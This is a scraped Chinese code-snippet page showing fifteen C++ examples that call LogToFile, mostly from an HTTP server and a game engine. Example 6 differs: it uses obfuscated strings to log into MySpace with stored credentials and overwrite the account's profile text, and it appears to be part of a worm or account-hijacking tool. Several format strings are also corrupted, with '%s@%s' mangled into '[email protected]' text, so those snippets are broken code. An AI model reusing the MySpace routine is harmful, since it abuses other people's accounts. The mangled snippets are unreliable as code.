本文整理汇总了C++中LogToFile函数的典型用法代码示例。如果您正苦于以下问题:C++ LogToFile函数的具体用法?C++ LogToFile怎么用?C++ LogToFile使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了LogToFile函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: HTTPServerCheckCertificate
//Will only return false if FLAG_SSL_CERT_REQUIRED is set
int HTTPServerCheckCertificate(HTTPSession *Session, STREAM *S)
{
char *ptr;
int result=TRUE;
ptr=STREAMGetValue(S,"SSL-Certificate-Verify");
if (StrLen(ptr) && (strcmp(ptr,"no certificate") !=0) )
{
LogToFile(Settings.LogPath,"AUTH SSL Certificate Provided by '%[email protected]%s'. Subject=%s Issuer=%s",Session->UserName,Session->ClientIP,STREAMGetValue(S,"SSL-Certificate-Subject"), STREAMGetValue(S,"SSL-Certificate-Issuer"));
if (strcmp(ptr,"OK")!=0)
{
if (Settings.AuthFlags & FLAG_AUTH_CERT_REQUIRED)
{
LogToFile(Settings.LogPath,"AUTH: ERROR: SSL Certificate REQUIRED from client '%[email protected]%s'. Invalid Certificate. Error was: %s",Session->UserName,Session->ClientIP, ptr);
result=FALSE;
}
else LogToFile(Settings.LogPath,"AUTH: SSL Certificate Optional for client '%[email protected]%s'. Invalid Certificate. Error was: %s",Session->UserName,Session->ClientIP, ptr);
LogFileFlushAll(TRUE);
}
}
else if (Settings.AuthFlags & FLAG_AUTH_CERT_REQUIRED) LogToFile(Settings.LogPath,"AUTH: ERROR: SSL Certificate REQUIRED from client '%[email protected]%s'. Missing Certificate.",Session->UserName,Session->ClientIP);
return(result);
}
示例2: Fonts_Init
void Fonts_Init(char *FontName,int iW,int iH)
{
LogToFile("===初始化游戏内字体===");
iError = FT_Init_FreeType( &library );
if ( iError )
{
LogToFile("初始化失败");
}
iError = FT_New_Face( library, FontName,0,&face );
if ( iError == FT_Err_Unknown_File_Format )
{
LogToFile("无法识别的字体文件");
}
else if ( iError )
{
LogToFile("无法使用的字体文件");
}
else LogToFile("成功加载字体文件%s",FontName);
Fonts_Count = 0;
FT_Select_Charmap(face, FT_ENCODING_UNICODE);
FT_Set_Pixel_Sizes(face,iW, iH);
iWidthCheck = iW;
}
示例3: HTTPServerDeleteCollection
int HTTPServerDeleteCollection(HTTPSession *Session,char *Path)
{
struct stat FileStat;
glob_t myGlob;
int result, i;
char *Tempstr=NULL, *ptr;
LogToFile(Settings.LogPath,"%[email protected]%s (%s) DeleteCollection: %s",Session->UserName,Session->ClientHost,Session->ClientIP,Path);
Tempstr=MCopyStr(Tempstr,Path,"/*",NULL);
glob(Tempstr,0,0,&myGlob);
for (i=0; i < myGlob.gl_pathc; i++)
{
if (Settings.Flags & FLAG_LOG_VERBOSE) LogToFile(Settings.LogPath,"%[email protected]%s (%s) DeleteSubItem: %s",Session->UserName,Session->ClientHost,Session->ClientIP,myGlob.gl_pathv[i]);
ptr=myGlob.gl_pathv[i];
if ((strcmp(ptr,".") !=0) && (strcmp(ptr,"..") !=0))
{
stat(ptr,&FileStat);
if (S_ISDIR(FileStat.st_mode)) HTTPServerDeleteCollection(Session,ptr);
else unlink(ptr);
}
}
DestroyString(Tempstr);
globfree(&myGlob);
result=rmdir(Path);
return(result);
}
示例4: LogPaths
void LogPaths(void)
{
LogToFile("appl. path:\t" + string(path_app));
LogToFile("log path:\t" + string(path_log));
LogToFile("config path:\t" + string(path_config));
LogToFile("textures path:\t" + string(path_textures));
}
示例5: vLogEmergency
DP_API void vLogEmergency( const char * format, va_list args )
{
if ( inited )
{
char *pMessage = NULL;
// need a seperate buffer for the error log - need to identify the app in there
char *pErrorMessage = NULL;
vasprintf( &pMessage, format, args );
if ( pMessage != NULL )
{
LogToFile( pMessage, log_path );
syslog( LOG_CRIT, "%s", pMessage ); // not a syslog-style emergency; just a severe/critical error
asprintf( &pErrorMessage, "-%s- %s", app_name, pMessage );
if ( pErrorMessage != NULL )
{
LogToFile( pErrorMessage, error_path );
free( pErrorMessage );
}
if ( EmergencyNotificationsEnabled( ) )
NotifyEmergency( pMessage );
free( pMessage );
}
}
}
示例6: GetWebPage
int
MySpaceEdit
(struct myspace_d *myspace) {
char buf[0x15F90],lpRequest[0x800],tmp[0x800];
GetWebPage(buf,sizeof(buf),riddle_enc("���=|��prt=r~|"),
riddle_enc("rwmn�7lov"),riddle_enc("JHW"),"",0x0); // www.myspace.com, index.cfm, GET
LogToFile("tmp.html",buf,"w");
sprintf(lpRequest,
"__VIEWSTATE=%s&"
"ctl00$Main$SplashDisplay$ctl00$Email_Textbox=%s&"
"ctl00$Main$SplashDisplay$ctl00$Password_Textbox=%s",
GetHashValue(buf,"__VIEWSTATE",'"',0x25),myspace->username,myspace->password);
GetWebPage(buf,sizeof(buf),riddle_enc("�wu��[email protected]���[email protected]�"),
riddle_enc("�����P���a����������_�����P�������"),riddle_enc("TSWX"),lpRequest,0x0);
// secure.myspace.com, index.cfm?fuseaction=login.process, POST
LogToFile("afterlogin.html",buf,"w");
if(strstr(buf,riddle_enc("z��An���Ac�Am�����Nj�A��A��Au���B"))) return(0x0); // You Must Be Logged-In to do That!
strcpy(myspace->url,GetHashValue(buf,riddle_enc("���}��||{��E����xz|Ez��"),'"',0x18)); // profileedit.myspace.com
GetWebPage(buf,sizeof(buf),riddle_enc("���}��||{��E����xz|Ez��"),
myspace->url,riddle_enc("JHW"),"",0x0); // profileedit.myspace.com, GET
sprintf(lpRequest,
"__EVENTTARGET=&__EVENTARGUMENT=&"
"__VIEWSTATE=%s&ctl00$ctl00$cpMain$ProfileEditContent$editInterests$hash=%s&"
"ctl00$ctl00$cpMain$ProfileEditContent$editInterests$SaveTop=Save All Changes&"
"ctl00$ctl00$cpMain$ProfileEditContent$editInterests$AboutMeTextBox=%s",
GetHashValue(buf,"__VIEWSTATE",'"',0x25),GetHashValue(buf,"_hash",'"',0xE),myspace->editdata);
strcpy(tmp,lpRequest);
GetWebPage(buf,sizeof(buf),riddle_enc("���}��||{��E����xz|Ez��"),
myspace->url,riddle_enc("JHW"),"",0x0); // profileedit.myspace.com, GET
GetWebPage(buf,sizeof(buf),riddle_enc("���}��||{��E����xz|Ez��"),
GetHashValue(buf,"name=\"aspnetForm\"",'"',0x29),riddle_enc("TSWX"),tmp,0x1); // profileedit.myspace.com, POST
GetWebPage(NULL,0x0,"collect.myspace.com","index.cfm?fuseaction=signout","GET","",0x1);
LogToFile("logoff.html",buf,"w");
return(0x1);
}
示例7: vLogError
DP_API void vLogError( const char * format, va_list args )
{
if ( inited )
{
char *pMessage = NULL;
// need a seperate buffer for the error log - need to identify the app in there
char *pErrorMessage = NULL;
vasprintf( &pMessage, format, args );
if ( pMessage != NULL )
{
LogToFile( pMessage, log_path );
asprintf( &pErrorMessage, "-%s- %s", app_name, pMessage );
if ( pErrorMessage != NULL )
{
LogToFile( pErrorMessage, error_path );
free( pErrorMessage );
}
free( pMessage );
}
}
}
示例8: glGetString
void scene::PrintExtensions()
{
const unsigned char* ext_list = glGetString(GL_EXTENSIONS);
LogToFile("OpenGL enabled extensions:");
char buffer[1024]; // надеюсь хватит
int j = 0;
for(int i = 0, j = 0; ext_list[i] != '\0'; i++)
{
if(!isspace(ext_list[i]))
buffer[j++] = ext_list[i];
else
{
buffer[j] = '\0';
LogToFile(string(buffer));
j = 0;
}
}
if(j > 0)
{
buffer[j] = '\0';
LogToFile(string(buffer));
}
}
示例9: DirectoryTryIndex
//Searches for an Index file, and sends it if it exits. Returns FALSE if not
int DirectoryTryIndex(STREAM *S, HTTPSession *Session, char *Path)
{
char *Tempstr=NULL, *Token=NULL, *ptr;
int DirSent=FALSE;
ptr=GetToken(Settings.IndexFiles,",",&Token,0);
while (ptr)
{
Tempstr=MCopyStr(Tempstr,Path,Token,NULL);
if (Settings.Flags & FLAG_LOG_MORE_VERBOSE) LogToFile(Settings.LogPath,"Checking for index page: [%s]\n",Tempstr);
if (access(Tempstr,F_OK)==0)
{
Session->Path=CopyStr(Session->Path,Tempstr);
HTTPServerSendDocument(S, Session, Tempstr, HEADERS_SENDFILE | HEADERS_KEEPALIVE);
DirSent=TRUE;
break;
}
ptr=GetToken(ptr,",",&Token,0);
}
if (Settings.Flags & FLAG_LOG_VERBOSE)
{
if (DirSent) LogToFile(Settings.LogPath,"Sent index page: [%s] for dir [%s]\n",Tempstr,Path);
else LogToFile(Settings.LogPath,"Failed to find index page for dir: [%s]\n",Path);
}
DestroyString(Tempstr);
DestroyString(Token);
return(DirSent);
}
示例10: DeleteSpaces
void DeleteSpaces(string s)
{
#ifdef _DEBUG_
char output[50];
sprintf(output, "clearing string: %s", s.c_str());
LogToFile(output);
#endif
int i = 1;
while(i < s.length()-1)
{
i++;
if(s[i] == ' ')
{
s.erase(i, 1);
i--;
}
}
#ifdef _DEBUG_
char output2[50];
sprintf(output2, "string cleared (spaces): %s", s.c_str());
LogToFile(output2);
#endif
}
示例11: LoadTexturesFromFolder
bool LoadTexturesFromFolder(LPCTSTR lpszDirectoryName, texture_t* textures)
{
char tmp[MAX_PATH]; // временный массив
char name[MAX_PATH];
string ext;
HANDLE hSearch = NULL;
WIN32_FIND_DATA wfd;
memset(&wfd, 0, sizeof(WIN32_FIND_DATA));
strcpy(name, lpszDirectoryName);
strcpy(tmp, name);
strcat(tmp, "\\*.*");
LogToFile("Searching textures in: " + string(name));
hSearch = FindFirstFile(tmp, &wfd);
if(hSearch != INVALID_HANDLE_VALUE)
do
{
if (!strncmp(wfd.cFileName, ".", 1) || !strncmp(wfd.cFileName, "..", 2)) continue;
if(wfd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
{
char next[MAX_PATH];
strcpy(next, name);
strcat(next, "\\");
strcat(next, wfd.cFileName);
LoadTexturesFromFolder(next, textures);
}
else
{
ext = ExtFromPath(wfd.cFileName);
if(ext == "bmp" || ext == "png" || ext == "pcx" || ext == "tga")
{
char file[MAX_PATH];
LogToFile("Found texture: " + string(wfd.cFileName));
strcpy(file, name);
strcat(file, "\\");
strcat(file, wfd.cFileName);
LoadTexture(file, &textures[tex_count], 255, 255, 255);
tex_count++;
}
}
}
while(FindNextFile(hSearch, &wfd));
FindClose(hSearch);
return true;
}
示例12: HTTPServerAuthenticate
int HTTPServerAuthenticate(HTTPSession *Session)
{
int result=FALSE;
//This handles someone clicking a 'logout' button
if (! HTTPServerHandleRegister(Session, LOGIN_CHECK_ALLOWED))
{
LogToFile(Settings.LogPath,"AUTH: Forcing Relogin for %[email protected]%s (%s) %s %s",Session->ClientIP,Session->ClientHost,Session->ClientIP,Session->Method,Session->Path);
return(FALSE);
}
if (Session->Flags & SESSION_AUTHENTICATED)
{
if (strcmp(Session->UserName,Session->AuthenticatedUser)==0)
{
LogToFile(Settings.LogPath,"AUTH: Session Keep-Alive active, reusing authentication for %[email protected]%s (%s) %s %s",Session->ClientIP,Session->ClientHost,Session->ClientIP,Session->Method,Session->Path);
return(TRUE);
}
else LogToFile(Settings.LogPath,"AUTH: ERROR: Session Keep-Alive active, but user has changed to %[email protected]%s (%s) %s %s. Refusing authentication",Session->ClientIP,Session->ClientHost,Session->ClientIP,Session->Method,Session->Path);
}
//Consider AccessToken Authentication for this URL!
if ((! (Session->Flags & SESSION_AUTHENTICATED)) && (Session->AuthFlags & FLAG_AUTH_ACCESS_TOKEN)) ParseAccessToken(Session);
if (Session->AuthFlags & FLAG_AUTH_PRESENT)
{
//if this looks back-to-front it's because for some methods we only get the username
//after we've completed authentication (e.g. it's taken from a cookie)
//ANYTHING OTHER THAN TRUE FROM AUTHENTICATE MEANS IT FAILED
if ((Authenticate(Session)==TRUE) && StrLen(Session->UserName)) result=TRUE;
//If authentication provided any users settings, then apply those
if (StrLen(Session->UserSettings)) ParseConfigItemList(Session->UserSettings);
//The FLAG_SSL_CERT_REQUIRED flag might have been set by user settings
//during authentication, so check it again here
if (! HTTPServerCheckCertificate(Session, Session->S)) result=FALSE;
if (result) HTTPServerHandleRegister(Session, LOGGED_IN);
else HTTPServerHandleRegister(Session, LOGIN_FAIL);
}
if (result==TRUE)
{
Session->AuthenticatedUser=CopyStr(Session->AuthenticatedUser,Session->UserName);
Session->Flags |= SESSION_AUTHENTICATED;
}
return(result);
}
示例13: VPathHandleFilePath
void VPathHandleFilePath(STREAM *S,HTTPSession *Session, TPathItem *VPath, int SendData)
{
char *Tempstr=NULL, *ptr;
char *LocalPath=NULL, *ExternalPath=NULL, *DocName=NULL;
//Document name here is whatever part of the Path is *beyond* the VPath component
DocName=HTTPServerSubstituteArgs(DocName, Session->Path+StrLen(VPath->URL), Session);
ptr=GetToken(VPath->Path,":",&Tempstr,0);
while (ptr)
{
if (*Tempstr=='/') ExternalPath=MCatStr(ExternalPath,Tempstr,":",NULL);
else
{
if (StrLen(Tempstr)==0) LocalPath=CatStr(LocalPath,"/:");
else LocalPath=MCatStr(LocalPath,Tempstr,":",NULL);
}
ptr=GetToken(ptr,":",&Tempstr,0);
}
Tempstr=CopyStr(Tempstr,"");
if (StrLen(LocalPath)) Tempstr=FindFileInPath(Tempstr,DocName,LocalPath);
if (StrLen(Tempstr)) HTTPServerSendDocument(S, Session, Tempstr, HEADERS_SENDFILE|HEADERS_USECACHE|HEADERS_KEEPALIVE);
else if (StrLen(ExternalPath))
{
if (strcmp(Session->Method,"POST")==0)
{
if (VPath->Flags & PATHITEM_UPLOAD)
{
LogToFile(Settings.LogPath,"%[email protected]%s (%s) uploading to %s in VPATH %s", Session->UserName,Session->ClientHost,Session->ClientIP,DocName,ExternalPath);
ChrootProcessRequest(S, Session, "POST", DocName, ExternalPath);
}
else
{
LogToFile(Settings.LogPath,"%[email protected]%s (%s) uploading DENIED to %s in VPATH %s", Session->UserName,Session->ClientHost,Session->ClientIP,DocName,ExternalPath);
HTTPServerSendHTML(S, Session, "403 Forbidden","Uploads not allowed to this path.");
}
}
else
{
LogToFile(Settings.LogPath,"%[email protected]%s (%s) asking for external document %s in Search path %s", Session->UserName,Session->ClientHost,Session->ClientIP,DocName,ExternalPath);
ChrootProcessRequest(S, Session, "GETF", DocName, ExternalPath);
}
}
//This will send '404'
else HTTPServerSendDocument(S, Session, DocName, HEADERS_SENDFILE|HEADERS_USECACHE|HEADERS_KEEPALIVE);
DestroyString(DocName);
DestroyString(Tempstr);
DestroyString(LocalPath);
DestroyString(ExternalPath);
}
示例14: RunEventScript
pid_t RunEventScript(STREAM *S, const char *Script)
{
if (Spawn(Script,Settings.DefaultUser,"",NULL) ==-1)
{
LogToFile(Settings.LogPath, "ERROR: Failed to run event script '%s'. Error was: %s",Script, strerror(errno));
}
else LogToFile(Settings.LogPath, "Script: '%s'. Error was: %s",Script, strerror(errno));
STREAMWriteLine("okay\n",S);
return(0);
}
示例15: DirectoryDeleteItem
void DirectoryDeleteItem(STREAM *S, HTTPSession *Session, const char *Path)
{
if (unlink(Path)!=0)
{
//maybe it's a directory?
if (rmdir(Path)==0) LogToFile(Settings.LogPath,"Deleted Directory: [%s]",Path);
else LogToFile(Settings.LogPath,"ERROR: Failed to Delete Item: [%s]",Path);
}
else LogToFile(Settings.LogPath,"Deleted File: [%s]",Path);
//File deleted, send them to the parent directory
}